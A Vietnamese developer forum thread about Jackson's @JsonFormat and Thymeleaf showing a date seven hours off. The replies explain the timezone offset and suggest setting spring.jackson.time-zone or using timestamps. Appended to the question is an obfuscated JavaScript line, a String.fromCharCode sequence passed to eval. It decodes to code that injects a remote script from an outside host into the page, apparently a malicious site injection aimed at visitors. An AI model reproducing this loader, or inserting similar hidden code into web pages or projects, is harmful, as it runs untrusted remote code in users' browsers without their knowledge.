Avatar
0
Vo Thanh Vuong Beginner
Vo Thanh Vuong Beginner
Sai thời gian khi nhận time từ json
khi Em nhận data từ json model "actionTime": "2022-12-27 10:50:52"

dưới code em dùng:

@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
    private Date actionTime;

thì nó trả về sai giờ : Tue Dec 27 17:41:25 ICT 2022

khi em debug thì nó trả như vậy.

Sau khi em parse bên thymleaf ${#dates.format(data.actionTime, ‘dd/MM/yyyy HH:mm:ss’)} thì nó ra 2022-12-27 05:50:52 chỉ sai mỗi giờ, còn phút giây vẫn đúng ạ

Nhờ anh xem giúp em ạvar z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/674867468/t);

  • Answer
#formatdate datetime
Remain: 5
2 Answers
Avatar
monkey Beginner
monkey Beginner
  1. @JsonFormat là annotation của jackson và thymeleaf không dùng jackson nên nó sẽ không hiểu format em truyền vào và nó sẽ lấy mặc định toString của lớp Date
  2. Anh chạy code bình thường em ạ:

"actionTime", new Date()
[[${#dates.format(actionTime, "dd/MM/yyyy HH:mm:ss")}]]

Kết quả: 27/12/2022 16:41:04
  • 0
  • Reply
dạ e đã fix được anh ạ, em cũng dùng như anh nhưng chạy không đúng. Do api trả về có timezone nó khác hay sao á. lúc e nhận nó tự + thêm 7h nên e đã set thêm timezone

như này :

  @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "Asia/Bangkok") 

hoặc config trong file properties :
spring.jackson.time-zone=Asia/Bangkok
là được anh ạ.

Không biết mọi người đã gặp trường hợp như này chưa ạ.

 –  Vo Thanh Vuong 1672168875000
Em nên dùng timestamp (long) ở server trả về cho client và client truyền lên server thì sẽ không bao giờ gặp vấn đề này em ạ. Vì khi em dùng timestamp thì mọi nơi nó đều thống nhất là mốc năm 1970 thì phải, đỡ phải phức tạp format.  –  monkey 1672175321000
Avatar
anaconda875 Beginner
anaconda875 Beginner
Date trong Java là kiểu ngày tháng có múi giờ, nếu bạn parse từ String và ko kèm múi giờ thì nó sẽ tự lấy múi giờ của system và offset vào giờ, phút cho khớp. Giờ jackson trả cho bạn ko phải sai mà là do nó đã offset +7 vào.

Suggest bạn dùng ntn: spring.jackson.time-zone=${TZ}

Và set TZ variable trước khi start/refresh app

  • 1
  • Reply